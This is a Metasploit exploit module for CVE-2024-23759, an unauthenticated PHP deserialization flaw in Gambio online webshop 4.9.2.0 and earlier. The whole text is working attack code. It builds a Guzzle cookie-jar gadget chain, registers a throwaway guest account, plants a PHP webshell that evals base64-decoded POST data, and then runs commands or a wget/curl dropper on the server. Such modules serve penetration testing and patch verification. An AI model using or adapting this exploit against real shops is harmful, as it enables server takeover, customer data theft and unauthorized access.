Gambio Online Webshop 4.9.2.0 Remote Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
‘Name’ => ‘Gambio Online Webshop unauthenticated PHP Deserialization Vulnerability’,
‘Description’ => %q{
A Remote Code Execution vulnerability in Gambio online webshop version 4.9.2.0 and lower
allows remote attackers to run arbitrary commands via unauthenticated HTTP POST request.
The identified vulnerability within Gambio pertains to an insecure deserialization flaw,
which ultimately allows an attacker to execute remote code on affected systems.
The insecure deserialization vulnerability in Gambio poses a significant risk to affected systems.
As it allows remote code execution, adversaries could exploit this flaw to execute arbitrary commands,
potentially resulting in complete system compromise, data exfiltration, or unauthorized access
to sensitive information.
},
‘License’ => MSF_LICENSE,
‘Author’ => [
‘h00die-gr3y <h00die.gr3y[at]gmail.com>’, # MSF module contributor
‘usd Herolab’ # Discovery of the vulnerability
],
‘References’ => [
[‘CVE’, ‘2024-23759’],
[‘URL’, ‘https://attackerkb.com/topics/cxCsICfcDY/cve-2024-23759’],
[‘URL’, ‘https://herolab.usd.de/en/security-advisories/usd-2023-0046/’]],
‘DisclosureDate’ => ‘2024-01-19’,
‘Platform’ => [‘php’, ‘unix’, ‘linux’],
‘Arch’ => [ARCH_PHP, ARCH_CMD, ARCH_X64, ARCH_X86],
‘Privileged’ => false,
‘Targets’ => [
[
‘PHP’,
{
‘Platform’ => [‘php’],
‘Arch’ => ARCH_PHP,
‘Type’ => :php
}
],
[
‘Unix Command’,
{
‘Platform’ => [‘unix’, ‘linux’],
‘Arch’ => ARCH_CMD,
‘Type’ => :unix_cmd
}
],
[
‘Linux Dropper’,
{
‘Platform’ => [‘linux’],
‘Arch’ => [ARCH_X64, ARCH_X86],
‘Type’ => :linux_dropper,
‘CmdStagerFlavor’ => [‘wget’, ‘curl’, ‘bourne’, ‘printf’, ‘echo’],
‘Linemax’ => 16384
}
],
],
‘DefaultTarget’ => 0,
‘DefaultOptions’ => {
‘SSL’ => true,
‘RPORT’ => 443
},
‘Notes’ => {
‘Stability’ => [CRASH_SAFE],
‘Reliability’ => [REPEATABLE_SESSION],
‘SideEffects’ => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]}
)
)
register_options([
OptString.new(‘TARGETURI’, [ true, ‘The Gambia Webshop endpoint URL’, ‘/’ ]),
OptString.new(‘WEBSHELL’, [false, ‘Set webshell name without extension. Name will be randomly generated if left unset.’, nil]),
OptEnum.new(‘COMMAND’,
[true, ‘Use PHP command function’, ‘passthru’, %w[passthru shell_exec system exec]], conditions: %w[TARGET != 0])
])
end

def execute_php(cmd, _opts = {})
payload = Base64.strict_encode64(cmd)
send_request_cgi({
‘method’ => ‘POST’,
‘uri’ => normalize_uri(target_uri.path, @webshell_name),
‘vars_post’ => {
@post_param => payload
}
})
end

def execute_command(cmd, _opts = {})
payload = Base64.strict_encode64(cmd)
php_cmd_function = datastore[‘COMMAND’]send_request_cgi({
‘method’ => ‘POST’,
‘uri’ => normalize_uri(target_uri.path, @webshell_name),
‘vars_get’ => {
@get_param => php_cmd_function
},
‘vars_post’ => {
@post_param => payload
}
})
end

def upload_webshell
# randomize file name if option WEBSHELL is not set
@webshell_name = (datastore[‘WEBSHELL’].blank? ? “#{Rex::Text.rand_text_alpha(8..16)}.php” : “#{datastore[‘WEBSHELL’]}.php”)

# randomize e-mail address, firstname and lastname to be used in payload and POST requests
email = Rex::Text.rand_mail_address
email_array = email.split(‘@’)
domain = email_array[1]firstname = email_array[0].split(‘.’)[0]lastname = email_array[0].split(‘.’)[1]hostname = Rex::Text.rand_hostname

# Upload webshell with PHP payload
@post_param = Rex::Text.rand_text_alphanumeric(1..8)
@get_param = Rex::Text.rand_text_alphanumeric(1..8)

if target[‘Type’] == :php
php_payload = “<?php @eval(base64_decode($_POST[\’#{@post_param}\’]));?>”
else
php_payload = “<?=$_GET[\’#{@get_param}\’](base64_decode($_POST[\’#{@post_param}\’]));?>”
end

php_payload_len = php_payload.length
webshell_name_len = @webshell_name.length
domain_len = domain.length
hostname_len = hostname.length
final_payload = “O:31:\”GuzzleHttp\\Cookie\\FileCookieJar\”:4:{s:36:\”\x00GuzzleHttp\\Cookie\\CookieJar\x00cookies\”;a:1:{i:0;O:27:\”GuzzleHttp\\Cookie\\SetCookie\”:1:{s:33:\”\x00GuzzleHttp\\Cookie\\SetCookie\x00data\”;a:9:{s:7:\”Expires\”;i:1;s:7:\”Discard\”;b:0;s:5:\”Value\”;s:#{php_payload_len}:\”#{php_payload}\”;s:4:\”Path\”;s:1:\”/\”;s:4:\”Name\”;s:#{hostname_len}:\”#{hostname}\”;s:6:\”Domain\”;s:#{domain_len}:\”#{domain}\”;s:6:\”Secure\”;b:0;s:8:\”Httponly\”;b:0;s:7:\”Max-Age\”;i:3;}}}s:39:\”\x00GuzzleHttp\\Cookie\\CookieJar\x00strictMode\”;N;s:41:\”\x00GuzzleHttp\\Cookie\\FileCookieJar\x00filename\”;s:#{webshell_name_len}:\”#{@webshell_name}\”;s:52:\”\x00GuzzleHttp\\Cookie\\FileCookieJar\x00storeSessionCookies\”;b:1;}”
final_payload_b64 = Base64.strict_encode64(final_payload)

# create guest user to get a valid session cookie
# country variable should match with a configured tax country in the gambio admin panel
# grab the available tax country code settings from the CreateGuest form page
res = send_request_cgi!({
‘method’ => ‘GET’,
‘uri’ => normalize_uri(target_uri.path, ‘shop.php?do=CreateGuest’)
})
if res && res.code == 200
html = res.get_html_document
unless html.blank?
country_tax_options = html.css(‘select[@id=”country”]’)
country_tax_options.css(‘option’).each do |country|
vprint_status(“Application’s tax country code setting required for exploitation: #{country[‘value’]}”)
res = send_request_cgi({
‘method’ => ‘POST’,
‘uri’ => normalize_uri(target_uri.path, ‘shop.php?do=CreateGuest/Proceed’),
‘keep_cookies’ => true,
‘vars_post’ => {
‘firstname’ => firstname,
‘lastname’ => lastname,
’email_address’ => email,
’email_address_confirm’ => email,
‘b2b_status’ => 0,
‘company’ => nil,
‘vat’ => nil,
‘street_address’ => Rex::Text.rand_text_alpha_lower(8..12),
‘postcode’ => Rex::Text.rand_text_numeric(5),
‘city’ => Rex::Text.rand_text_alpha_lower(4..12),
‘country’ => country[‘value’],
‘telephone’ => Rex::Text.rand_text_numeric(10),
‘fax’ => nil,
‘action’ => ‘process’
}
})
next unless res && res.code == 302

res = send_request_cgi({
‘method’ => ‘POST’,
‘uri’ => normalize_uri(target_uri.path, ‘shop.php?do=Parcelshopfinder/AddAddressBookEntry’),
‘keep_cookies’ => true,
‘vars_post’ => {
‘checkout_started’ => 0,
‘search’ => final_payload_b64,
‘street_address’ => Rex::Text.rand_text_alpha_lower(4..12),
‘house_number’ => Rex::Text.rand_text_numeric(1..2),
‘additional_info’ => nil,
‘postcode’ => Rex::Text.rand_text_numeric(5),
‘city’ => Rex::Text.rand_text_alpha_lower(8..12),
‘country’ => ‘DE’,
‘firstname’ => firstname,
‘lastname’ => lastname,
‘postnumber’ => Rex::Text.rand_text_numeric(6),
‘psf_name’ => Rex::Text.rand_text_alpha_lower(1..3)
}
})
break
end
end
end
res
end

def check
print_status(“Checking if #{peer} can be exploited.”)
res = send_request_cgi!({
‘method’ => ‘GET’,
‘ctype’ => ‘application/x-www-form-urlencoded’,
‘uri’ => normalize_uri(target_uri.path)
})
return CheckCode::Unknown(‘No valid response received from target.’) unless res && res.code == 200

# Check if target is running a Gambio webshop
# Search for “Gambio” on the login page
return CheckCode::Safe unless res.body.include?(‘gambio’)

CheckCode::Detected(‘It looks like Gambio Webshop is running.’)
end

def exploit
print_status(“Executing #{target.name} for #{datastore[‘PAYLOAD’]}”)
res = upload_webshell
fail_with(Failure::PayloadFailed, ‘Web shell upload error.’) unless res && res.code == 500
register_file_for_cleanup(@webshell_name)

case target[‘Type’]when :php
execute_php(payload.encoded)
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
# Don’t check the response here since the server won’t respond
# if the payload is successfully executed.
execute_cmdstager({ linemax: target.opts[‘Linemax’] })
end
end
end